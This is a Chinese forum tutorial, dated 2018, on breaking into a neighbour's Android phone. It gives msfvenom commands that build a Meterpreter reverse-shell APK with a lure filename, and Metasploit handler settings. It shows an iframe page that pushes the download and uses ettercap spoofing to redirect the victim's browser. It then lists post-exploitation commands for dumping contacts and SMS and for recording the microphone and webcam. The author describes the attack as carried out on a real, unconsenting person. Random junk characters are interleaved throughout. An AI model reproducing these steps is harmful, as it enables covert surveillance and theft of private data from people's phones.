|
8 l+ i* m6 b5 ?) t3 S 五、msf+ettercap入侵邻居安卓手机 - m" E# R9 |* D4 K- B$ Z9 ^
: ]6 w+ U1 B9 I5 }' N4 k2 D
0 x; R# e1 ^3 g3 O8 V# }& } 首先启动msf
$ l ^5 q# G3 g! S% h t; _ I$ p3 T
' h2 @) L& j/ `8 e
1 D1 ?+ z6 }' b4 u: i- c 先用kali生成一个安卓木马，如下命令：
& A/ e, O3 y- {- ]- N
S* X+ V, _* u6 d- U
" w/ t; b3 {0 ?$ O N- c Msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=44444 -o ~/Desktop/ribenav.apk 2 R* H& s1 C+ J/ F8 ~2 y
9 _( n/ K# D! F" F$ _
5 {2 j" ^; Y( U7 ` J' ]/ q
 为了能让对方下载以后安装我这里将马的名字命名为ribenav.apk,哈哈邻居可是个“大色鬼”，就不适用替换下载的方法了，据我所知，邻居频繁使用手机浏览器浏览新闻 8 j* ]! V: G# b5 W* `) \0 X- J
+ x- Z3 N; P8 z4 G" k7 u( e" X$ d" H. Y6 U% C' m: N
然后进入msf & _( }0 F- } J3 J
& k% L1 w5 a" n) ?: H; L
9 F, X! W! e+ n( [1 g use exploit/multi/handler
. h$ P) r+ c' Q, ?! X( U+ u+ T / b9 S$ U! [2 k- G& e$ k5 d! }" @
# @# a( X( p* I2 }& D$ O( J
set payload android/meterpreter/reverse_tcp
+ l; e) w. s U% s: o2 E
) t# \! h. }8 ?5 {$ O" Q9 x/ R. y& w9 L: J! T
set LHOST 192.168.0.109 //ip为kaili的ip
4 h- q! b- K* L3 v: ? ' j) S4 V: o9 _
" r4 d9 Y" ]. Y9 v; G# B
set LPORT 44444 //端口一定要与前面生成的木马的端口一致 E# ^6 }$ {# F
$ u8 |" D4 U! Y6 U
) |7 v$ {, M2 r Exploit % C% ~8 _- Y, Q
0 ~' [3 _' A2 ~( W
! c2 l8 R, T5 g- c2 L" I& B1 R  & B6 E8 D# Y$ Y& U, v# @1 S
$ c7 W: f: y6 r/ A5 x- M
" X' S% `' R6 F+ F7 l- c$ l
下面我们开启ettercap -G
7 V" N2 r% Z, P% u, ] - [: U9 F0 J3 l8 t# c
1 |0 r2 D2 T) a) e9 v 我物理IP为 * P$ s8 e8 Y) w* r A
" ]( \1 |9 S5 A" _, q. B4 _% [7 g& _: D* l0 n- n; Z
 , o& l, w5 T- h, E0 J: ]) ]0 f
' G+ `9 r& ]9 i6 x0 i/ s+ i8 V; k5 H3 `' D% t1 C h
别到时候再把我物理机欺骗了，之前测试物理机只装腾讯管家是可以成功欺骗的， / r) g; G* q! y7 T, n. @+ e
: I/ P% |: p9 W5 j
& ]: q- ]: Q0 o: h4 d4 _ 下面我们来设置一下 , {; b, b/ C2 U3 {- T
: t( d0 |5 K$ S- i/ _: c, l2 E, C
* C9 N0 u- f1 P( D5 e& I! u" G
2 o, ]- |/ j# J" o: K
& t8 g' @: y; z% J2 K
& S. Y9 H9 C9 H6 |" [ 在开启欺骗之前我们先把生成的apk马丢到kaili var/www/html下，并创建一个index.htm文件内容为：<iframe src=http://192.168.0.109/ribenav.apk></iframe>,因为apk文件嘛要想直接提示下载，用iframe语句就OK了，
; `8 C1 P; {+ H* |# h/ G 3 i( E. U' i* \3 [9 Q: p
4 h1 W; T+ e4 C* c5 i0 i
: y' w8 N7 w, ?6 @ % t) G \4 F: H! ~
. ^5 R9 C* A% ]
8 y, U; U# q2 m' A
4 s$ A: H+ R0 G i8 R. m+ Q6 k5 _6 J- I: S$ v* Q7 v5 G
2 u2 q) [# u, L* j: ?6 F; S, T
; e0 g( }' S1 h/ _9 y9 u; ]& ]# b5 {" ?% r, }: s1 i, o
; l* N! }. T- E8 Y& p% P/ w # O* \1 u4 x( d" Z* s2 t
; p& ^% [# {0 v( e; i; u
. i& {8 k+ B2 Q * @6 n. o7 q8 R2 h) E
1 z2 e8 ? s) ]. L* ?; g( X
# \+ x+ {) ^1 S' [ U+ S: k/ d
+ U3 ]* E5 x) k! ]5 R+ R
! I0 d; R# Q. Y- U ' z: N; X- N) Y% Z; y6 P7 [
) W+ G; A9 `- f# t: \ K
! W2 \* K; N/ t- `! T1 ^
! h) h6 G9 g3 t- s- p2 }
0 c! x+ C) E. K, _" \8 T
4 X. O1 i" h1 S6 ^* |0 ^2 h
9 e8 g% f0 [+ O
3 i6 q- Y# b8 m9 L7 L9 {* N
: m- Q$ |; e, ~
9 B# S4 j, g2 a& c3 f- Y9 H % B; K* t; U( F0 j( z( J
- E; k) P% \7 b" v* b & ]& [* D8 n$ Q1 r9 U
W& \+ }, c7 y5 }7 L' R0 D! G9 \' Z' ~- ?7 g/ I
" A/ d* _+ b. ?/ [1 q* r! x: B( C
' W; ]' w! @. k& W
/ Z$ p. g# V! Y Z1 ` 
7 ~4 B) P3 l8 R h( T$ ^" Q / d+ v3 d. F( F
6 F; p) q3 P; E/ X' q
下面我们开始攻击 f' C6 { y" o
1 R3 ~5 n3 N9 y* [ s7 m w3 ^4 J" t+ J- w( ~" y9 z8 m0 g: n
( h9 g, g& \) M, q$ T
) E6 L+ n/ Q! B3 |( a) \2 P' P" F
3 c* Y% Q( P$ S2 k E3 ~, s 2 ]6 D7 _! d5 I3 x( {/ T
: u# x2 n5 m+ b
$ Q6 G2 E, T" q/ { 3 _! Q! w# G5 ?6 O+ Z
) t W4 {/ T2 z% k0 @7 Q/ a. V% I& v6 L& ^
% p3 ~$ h8 v* l( e( \ : h9 t, s8 u- ~7 E
+ P% C* |2 D" f 
7 n% l$ e+ r, W$ I. A! U5 ]- B2 {9 Z
4 H }4 l5 r" O5 ~
2 B- O2 S Q/ Y 大概过了5分钟多，发现反弹成功了 9 I1 a' z2 X1 a; r8 Y8 g$ h
( J( J. Y5 p2 g5 ~
# Y4 ?! U) J& i( t( q! c _3 k
5 y8 {0 }8 v X: j8 r- D K
- I; }% T' Y D- }, _% d; O6 l7 P" n& h* J7 J8 J- l0 n! K
3 c. l* ]! Y. e2 H" k
7 {- m( x8 R- A
' G" N1 P* W( m P' Z7 {5 m1 P
& r# T& v8 O# m, i" {3 A 5 o* g, X' R+ V* P# S
y. d' @/ [4 T( {, [( l1 ^
$ U. T4 e9 D) y$ P) e" a, Q% D; g
: E6 m! y7 u# d- w/ I
2 B: _/ ` m1 b' @
. |* f d H2 M$ b' G3 o6 Q( e! I1 o
" I w! K$ R0 {+ ?+ ]! F5 E* `! F2 F2 D* Y0 Y% C4 L
; W: Q8 h2 ^) @! t
+ j5 w* f" A6 Q8 ?7 a) j" \' t, C1 T5 Y. }6 M: Z, x
 5 h! y# f# n( a
9 B) A S3 F: A( f/ B
7 Z& Q. [% T8 u& U6 W4 A: `& u 执行命令
5 l; S6 _1 g) p* Q6 p6 ]6 n h9 }( [/ d. H
1 c. v' r- h! x4 d( J
& \/ Y. N0 U) ^" `( ~
/ J S7 |5 [ r
5 w: b9 _. A x8 l2 o2 S dump_contacts --》这个是导出电话 9 s' o( Y; x8 t7 \
) @# t" ^4 Q' n4 }. ]3 G' Q9 U3 }* V* Y8 ~* b0 r& r
dump_sms --》这个是导出信息 ( j, Q* G1 [7 Y: l2 E
; Y2 x: l. Y7 O. W
) J# ^& X: }" a* C c1 P+ h1 E6 |
record_mic Record audio from the default microphone for X seconds ' s+ x8 t5 u o" c( v1 Q
% {" v; T' `9 L* j: q" C- j$ ]
( s8 P/ a9 _7 L# @: _8 m3 V; E webcam_chat Start a video chat
, M$ ~3 P1 ?$ C) d3 ?" v
( ?7 y9 d1 i( J% L9 }' g3 C
$ Z. B( }8 Q) T) G$ z, }6 N webcam_list List webcams
' z% @2 G. H9 Q1 [9 k5 B3 T" S ! ]. X$ c4 c9 r* h5 E! T
5 M q! H* y7 j8 i# X
webcam_snap Take a snapshot from the specified webcam
$ c" x3 W. y/ g$ o* P, A% l
( N, n3 [ U, J* m8 y
n) o, L3 [ S webcam_stream  lay a video stream from the specified webcam
4 M2 V3 E' c V( p/ n4 _
( ]1 I! F6 R0 j" h% M- R2 x1 \/ I4 E9 c- d( U L, Y" o1 ?- k
 8 l5 I* i* X O X6 ]' @% j
' | N" w: e7 u5 H
$ G/ J @% `' e+ O1 c 
& {! e' s2 y% W& z0 J5 J! F: Z4 H
, B# \" N7 K6 s( k6 r( J1 S$ |) o* ?# E; ]
我们打开看一下电话薄， # @3 T/ D ^' l' K/ u& o
) H, |$ K/ t; f1 O7 o3 I4 j! L* I$ t: R( Z0 p* ]
# p1 X& u+ W3 M0 h9 Y- K* b
8 U3 j3 d4 _( h) P/ x$ _" `0 X! C/ I1 ]& ]8 ]
 $ \) w' P; [( S# C, V
; m; r3 i7 g; I/ P6 U) \6 h
% K3 r" m+ h8 w! t" o) K! H
& ?$ j( W4 {7 A6 D8 T" }- { / r# X: B" a5 W/ u' @# g' `
) O1 K" r6 s, f) ~4 I+ ^9 P  4 B& U! L1 p! r# U8 o; w( X3 A
* s& a& y3 c& E. J, O& G; e- t' o# k& c, G* K# m2 d
. z2 V- @5 M, }8 f3 U7 W, F# ` # y0 d: `* x$ x: Q3 P9 K$ @ ]& t7 B
4 X; D7 \ b( Z
; W2 m9 _; c1 @# q% C. u
$ ^4 P' f- a& T9 u4 e7 S# Z9 Y
" y/ b8 m% T% f0 R d 我们同时欺骗成DroidJack木马，使用方法如图： : N: @8 P6 X+ z( f6 R4 w/ W: @
+ T" O! ?- }; y, ?9 k) j7 G4 I) c2 C6 B
 # w# Q! q; A$ [! _; Y4 Q( K
2 K- A5 d( w; m( K- j: A7 X$ ^7 J
: {6 @; I% T+ _
- k: {$ d) S; y
; @% ^9 P6 z4 d; Z }# U- d2 i$ y$ d7 T! j/ d( a$ z+ _
1 e: J8 j" A _ 9 W7 K# @. K, c# W
, S. ~6 t4 @1 a! i+ Z
切记在前面生成完马以后记得在这里选择开关为on，并且对应前面生成马的时候的端口
8 _+ C: }. z2 f5 h- l1 S
; {: T. F1 K6 O. e+ [8 i$ D
4 G6 @# O0 K5 j$ [3 `& {' M, H/ t  0 w+ Z1 j/ |# t/ P
A4 k/ g! L. _% W- _; W' f3 s# ~- T3 G6 Q- [1 `% Y) w
 4 L4 [- \: y \/ X2 {- c" K
5 G) A; N! @- i$ R9 p
% `8 S3 o" b2 N 
6 {* ?6 P8 O' `+ Z 9 J0 v/ V; e: W/ L* v$ ?7 s
: e m$ q0 N- r' K1 {% `
  7 p9 [3 J, w/ p4 U1 \( C% B/ z
7 c# k7 p- Z& C
" [) X% T; }% T9 U+ m4 a5 s
2 y5 o0 U# a+ Z, R, d- E) K
| 
发表于 2018-10-20 20:30:37
收藏
支持
反对